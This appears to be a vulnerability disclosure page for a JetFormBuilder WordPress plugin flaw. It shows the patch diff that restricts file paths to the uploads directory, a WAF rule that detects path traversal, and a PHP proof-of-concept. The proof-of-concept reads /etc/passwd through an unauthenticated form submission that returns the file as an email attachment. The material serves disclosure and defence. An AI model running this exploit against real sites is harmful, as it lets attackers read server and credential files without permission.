CVE-2026-4373: JetFormBuilder <= 3.5.6.2 – Unauthenticated Arbitrary File Read via Media Field (jetformbuilder)

--- a/jetformbuilder/includes/blocks/render/media-field-render.php
+++ b/jetformbuilder/includes/blocks/render/media-field-render.php
@@ -75,7 +75,7 @@
 			// preset field
 			$updated = str_replace( '<!-- field -->', $this->get_field_preset( $file ), $updated );

-			$image_ext    = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp' );
+			$image_ext    = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'svg', 'webp', 'avif' );
 			$img_ext_preg = '!.(' . join( '|', $image_ext ) . ')$!i';

 			if ( preg_match( $img_ext_preg, $file['url'] ) ) {
--- a/jetformbuilder/includes/classes/resources/file-tools.php
+++ b/jetformbuilder/includes/classes/resources/file-tools.php
@@ -30,7 +30,13 @@
 	}

 	protected static function is_same_file( File $file, Uploaded_File $uploaded_file ): bool {
-		$info = pathinfo( $uploaded_file->get_url() );
+		$preset_path = $uploaded_file->get_attachment_file();
+
+		if ( ! $preset_path ) {
+			return false;
+		}
+
+		$info = pathinfo( $preset_path );

 		return $file->get_name() === ( $info['basename'] ?? '' );
 	}
--- a/jetformbuilder/includes/classes/resources/uploaded-file.php
+++ b/jetformbuilder/includes/classes/resources/uploaded-file.php
@@ -96,17 +96,17 @@

 	public function set_from_array( array $upload ): Uploaded_File {
 		if ( isset( $upload['file'] ) ) {
-			$this->file = $upload['file'];
+			$this->file = self::normalize_allowed_upload_file_path( (string) $upload['file'] );
 		}
 		if ( isset( $upload['url'] ) ) {
-			$this->url = $upload['url'];
+			$this->url = esc_url_raw( (string) $upload['url'] );
 		}
 		if ( isset( $upload['type'] ) ) {
-			$this->type = $upload['type'];
+			$this->type = sanitize_mime_type( (string) $upload['type'] );
 		}
 		if ( isset( $upload['id'] ) ) {

-			$this->set_attachment_id( (string) $upload['id'] );
+			$this->set_attachment_id( (string) absint( $upload['id'] ) );
 		}

 		return $this;
@@ -185,7 +185,10 @@
 		$file = $this->get_file();

 		if ( $file ) {
-			return $file;
+			$file = self::normalize_allowed_upload_file_path( $file );
+			if ( $file ) {
+				return $file;
+			}
 		}

 		$id  = $this->get_attachment_id();
@@ -197,13 +200,59 @@

 		$file = get_attached_file( $id );

-		return is_string( $file ) ? $file : '';
+		if ( ! is_string( $file ) ) {
+			return '';
+		}
+
+		return self::normalize_allowed_upload_file_path( $file );
 	}

 	/**
 	 * @param string $url
 	 */
 	public function set_url( string $url ) {
-		$this->url = $url;
+		$this->url = esc_url_raw( $url );
+	}
+
+	/**
+	 * Normalize path and allow only existing files inside wp-content uploads directory.
+	 *
+	 * @return string Normalized realpath to a file in uploads, or empty string.
+	 */
+	public static function normalize_allowed_upload_file_path( string $file ): string {
+		if ( '' === $file ) {
+			return '';
+		}
+
+		$path = wp_normalize_path( $file );
+		$real = realpath( $path );
+
+		if ( false === $real ) {
+			return '';
+		}
+
+		$real = wp_normalize_path( $real );
+		$real = untrailingslashit( $real );
+
+		$uploads = wp_get_upload_dir();
+		$base    = (string) ( $uploads['basedir'] ?? '' );
+
+		if ( '' === $base ) {
+			return '';
+		}
+
+		$base_real = realpath( $base );
+		if ( false === $base_real ) {
+			return '';
+		}
+
+		$base = wp_normalize_path( $base_real );
+		$base = untrailingslashit( $base );
+
+		if ( 0 === strpos( $real, $base . '/' ) && is_file( $real ) ) {
+			return $real;
+		}
+
+		return '';
 	}
 }
--- a/jetformbuilder/jet-form-builder.php
+++ b/jetformbuilder/jet-form-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name:         JetFormBuilder
  * Plugin URI:          https://jetformbuilder.com/
  * Description:         Advanced form builder plugin for WordPress block editor. Create forms from the ground up, customize the existing ones, and style them up – all in one editor.
- * Version:             3.5.6.2
+ * Version:             3.5.6.3
  * Author:              Crocoblock
  * Author URI:          https://crocoblock.com/
  * Text Domain:         jet-form-builder
@@ -18,7 +18,7 @@
 	die();
 }

-const JET_FORM_BUILDER_VERSION = '3.5.6.2';
+const JET_FORM_BUILDER_VERSION = '3.5.6.3';

 const JET_FORM_BUILDER__FILE__ = __FILE__;
 const JET_FORM_BUILDER_SITE    = 'https://jetformbuilder.com';
--- a/jetformbuilder/modules/actions-v2/send-email/send-email-action.php
+++ b/jetformbuilder/modules/actions-v2/send-email/send-email-action.php
@@ -5,6 +5,7 @@
 use Jet_Form_BuilderActionsAction_Handler;
 use Jet_Form_BuilderActionsTypesBase;
 use Jet_Form_BuilderClassesHttpHttp_Tools;
+use Jet_Form_BuilderClassesResourcesUploaded_File;
 use Jet_Form_BuilderClassesTools;
 use Jet_Form_BuilderExceptionsAction_Exception;
 use Jet_Form_BuilderRequestRequest_Tools;
@@ -397,7 +398,29 @@
 			);
 		}

-		return $attachments;
+		return $this->filter_safe_attachments( $attachments );
+	}
+
+	/**
+	 * Allow only readable files within the uploads directory.
+	 */
+	private function filter_safe_attachments( array $attachments ): array {
+		$safe = array();
+
+		foreach ( $attachments as $attachment ) {
+			if ( ! is_string( $attachment ) || '' === $attachment ) {
+				continue;
+			}
+
+			$allowed = Uploaded_File::normalize_allowed_upload_file_path( $attachment );
+			if ( '' === $allowed || ! is_file( $allowed ) || ! is_readable( $allowed ) ) {
+				continue;
+			}
+
+			$safe[] = $allowed;
+		}
+
+		return array_values( array_unique( $safe ) );
 	}

 	public function update_headers() {
--- a/jetformbuilder/modules/form-record/admin/meta-boxes/form-record-values-box.php
+++ b/jetformbuilder/modules/form-record/admin/meta-boxes/form-record-values-box.php
@@ -37,15 +37,19 @@
 	}

 	public function get_columns(): array {
-		return array(
-			'form'       => new Form_Link_Column(),
-			'referrer'   => new Referrer_Link_Column(),
-			'status'     => new Status_Column(),
-			'user'       => new User_Login_Column(),
-			'ip_address' => new Ip_Address_Column(),
-			'user_agent' => new User_Agent_Column(),
-			'created_at' => new Created_At_Column(),
-			'updated_at' => new Updated_At_Column(),
+		return apply_filters(
+			'jet-form-builder/form-record/general-values-columns',
+			array(
+				'form'       => new Form_Link_Column(),
+				'referrer'   => new Referrer_Link_Column(),
+				'status'     => new Status_Column(),
+				'user'       => new User_Login_Column(),
+				'ip_address' => new Ip_Address_Column(),
+				'user_agent' => new User_Agent_Column(),
+				'created_at' => new Created_At_Column(),
+				'updated_at' => new Updated_At_Column(),
+			),
+			$this
 		);
 	}

--- a/jetformbuilder/vendor/composer/installed.php
+++ b/jetformbuilder/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'crocoblock/jetformbuilder',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => 'df7eef93139074f35204bd3ed0fc03d3d263e22a',
+        'reference' => '21e39eda416b2024c54d26fb7dc33550a16f8069',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'crocoblock/jetformbuilder' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => 'df7eef93139074f35204bd3ed0fc03d3d263e22a',
+            'reference' => '21e39eda416b2024c54d26fb7dc33550a16f8069',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

# Atomic Edge WAF Rule - CVE-2026-4373
# This rule blocks exploitation of the JetFormBuilder Media Field arbitrary file read.
# It matches the specific AJAX action and the 'file' parameter containing path traversal.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:10004373,phase:2,deny,status:403,chain,msg:'CVE-2026-4373 JetFormBuilder Arbitrary File Read via Media Field',severity:'CRITICAL',tag:'CVE-2026-4373',tag:'WordPress',tag:'JetFormBuilder'"
  SecRule ARGS_POST:action "@streq jet_fb_forms_send" "chain"
    SecRule ARGS_POST "@rx ^(?:[^=]+=)?(?:{[^}]*"file"s*:s*"|"file"s*:s*")(?!/wp-content/uploads/)" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,capture,ctl:auditLogParts=+E"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4373 - JetFormBuilder <= 3.5.6.2 - Unauthenticated Arbitrary File Read via Media Field
<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// The form ID and field name must be known or discovered.
$form_id = 1;
$media_field_name = 'media_field';

// The file to exfiltrate via email attachment.
$target_file = '/etc/passwd';

// Craft the JSON preset payload for the Media Field.
// The 'file' parameter uses an absolute path traversal.
$preset_payload = json_encode([
    'file' => $target_file,
    'url' => 'file://' . $target_file,
    'type' => 'text/plain',
    'id' => ''
]);

// Build the form submission data.
// The action triggers the form processing.
$post_data = [
    'action' => 'jet_fb_forms_send',
    'form_id' => $form_id,
    // The field data includes the malicious preset.
    $media_field_name => $preset_payload
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The plugin does not require authentication or a nonce for this action in vulnerable versions.
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";
// If the form is configured to send an email with the file attached, the target file will be included.
// This script demonstrates the request; email delivery must be verified separately.

?>